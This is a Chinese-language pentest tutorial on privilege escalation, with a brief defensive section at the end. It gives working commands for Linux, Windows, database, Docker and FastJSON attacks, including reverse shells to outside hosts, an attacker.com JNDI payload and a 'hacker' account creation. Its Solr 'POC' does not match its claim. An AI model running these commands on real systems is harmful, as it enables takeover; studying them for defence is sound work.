1. 权限提升漏洞的本质与攻防视角
权限提升(Privilege Escalation)是安全测试中最具实战价值的技术方向之一。简单来说,就是通过系统、应用或配置的缺陷,从低权限账户获取更高权限的操作过程。我在过去五年的渗透测试项目中,遇到过上百种不同的提权场景,其中约60%的漏洞利用并不需要复杂的技术,而是对系统特性的深入理解。
从攻击者视角看,权限提升可分为两类典型路径:
- 水平提权:同权限级别用户间的越权访问(如普通用户A访问用户B的数据)
- 垂直提权:低权限用户获取高权限身份(如普通用户获取root权限)
需要模型API调用? 免费领10W Token,多模型网关一键接入 Claude、DeepSeek 等主流模型。
2. Linux系统提权全场景解析
2.1 SUID滥用与二进制劫持
SUID(Set User ID)是Linux最经典的提权入口。我曾在某次测试中通过以下命令快速定位风险文件:
bash复制find / -perm -4000 -type f 2>/dev/null
常见的危险SUID程序包括:
- /bin/bash(可直接获取root shell)
- /usr/bin/find(通过-exec参数执行命令)
- /usr/bin/vim(通过:!执行系统命令)
实战技巧:遇到nmap旧版本时,尝试交互模式提权
bash复制nmap --interactive !sh
2.2 内核漏洞自动化利用
对于内核提权,我的经验是优先使用自动化工具检测:
bash复制uname -a # 确认内核版本
searchsploit linux kernel 3.10 # 搜索对应exp
近期值得关注的Linux内核漏洞:
- Dirty Pipe(CVE-2022-0847):影响5.8以上内核
- Dirty Cow(CVE-2016-5195):经典本地提权漏洞
2.3 环境变量劫持实战
PATH环境变量滥用是新手容易忽视的提权方式。曾通过如下步骤完成提权:
- 编写恶意程序命名为
ls:
c复制#include<stdlib.h>
int main(){system("/bin/bash");}
- 编译后放入可写目录:
bash复制gcc ls.c -o ls
export PATH=/tmp:$PATH
- 等待管理员执行任何依赖PATH的程序
3. Windows提权深度指南
3.1 服务权限配置漏洞
Windows服务提权需重点关注:
- 服务二进制文件可写(通过icacls检查ACL)
- 未引用的服务路径(SCM解析漏洞)
- 服务账户权限过高
典型利用流程:
- 使用accesschk检查服务权限:
cmd复制accesschk.exe -uwcqv "Authenticated Users" *
- 替换可写服务的二进制文件
- 重启服务获取SYSTEM权限
3.2 Token窃取与进程注入
在已获取meterpreter会话时的经典操作:
bash复制use incognito
list_tokens -u
impersonate_token "NT AUTHORITY\\SYSTEM"
3.3 AlwaysInstallElevated漏洞
当以下注册表项均为1时可直接安装恶意MSI:
reg复制HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer\AlwaysInstallElevated
HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer\AlwaysInstallElevated
利用msfvenom生成payload:
bash复制msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.1.100 -f msi > setup.msi
4. 数据库提权专项突破
4.1 MySQL UDF提权
历史悠久的经典方法,关键步骤:
- 查找plugin目录:
sql复制show variables like '%plugin%';
- 上传恶意so文件(需对应系统架构)
- 创建函数执行命令:
sql复制create function sys_exec returns integer soname 'lib_mysqludf_sys.so';
select sys_exec('chmod +s /bin/bash');
4.2 MSSQL xp_cmdshell利用
在获取sa密码后的标准操作链:
sql复制EXEC sp_configure 'show advanced options', 1;
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;
EXEC xp_cmdshell 'net user hacker P@ssw0rd /add';
4.3 Redis未授权访问
通过写定时任务实现提权:
bash复制redis-cli -h 192.168.1.100
config set dir /var/spool/cron/
config set dbfilename root
set x "\n* * * * * /bin/bash -i >& /dev/tcp/192.168.1.101/4444 0>&1\n"
save
5. 现代应用提权新趋势
5.1 容器逃逸技术
Docker环境下的特权逃逸方法:
- 挂载宿主机目录:
docker run -v /:/host -it alpine chroot /host - 滥用SYS_ADMIN能力:
capsh --gid=0 --uid=0 --
5.2 FastJSON反序列化
利用链构造示例(针对1.2.83版本):
java复制{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"ldap://attacker.com/Exploit",
"autoCommit":true
}
5.3 Solr文件读取漏洞
利用POC构造示例:
http复制GET /solr/admin/cores?wt=json&indexInfo=false&_=1630471234567 HTTP/1.1
Host: target.com
6. 防御视角的权限管理建议
-
最小权限原则:所有服务账户按需授权,MySQL禁用FILE权限,MSSQL禁用xp_cmdshell
-
及时更新机制:
- Linux:配置自动安全更新
- Windows:启用WSUS补丁管理
- 数据库:季度安全补丁计划
-
配置加固检查:
bash复制# Linux检查项 grep -v "^#" /etc/ssh/sshd_config | grep -i permitrootlogin find / -perm -4000 -type f -exec ls -la {} \; # Windows检查项 Get-Service | Where-Object {$_.StartType -eq "Automatic"} -
日志监控重点:
- /var/log/auth.log(Linux认证日志)
- 事件ID 4688(Windows进程创建)
- 数据库的异常函数调用记录
在最近一次金融行业渗透测试中,我们通过组合利用SUID程序和错误配置的cron任务,在15分钟内完成了从普通用户到root权限的完整提权链。这再次证明,权限提升漏洞的防御需要技术与管理措施的双重配合。
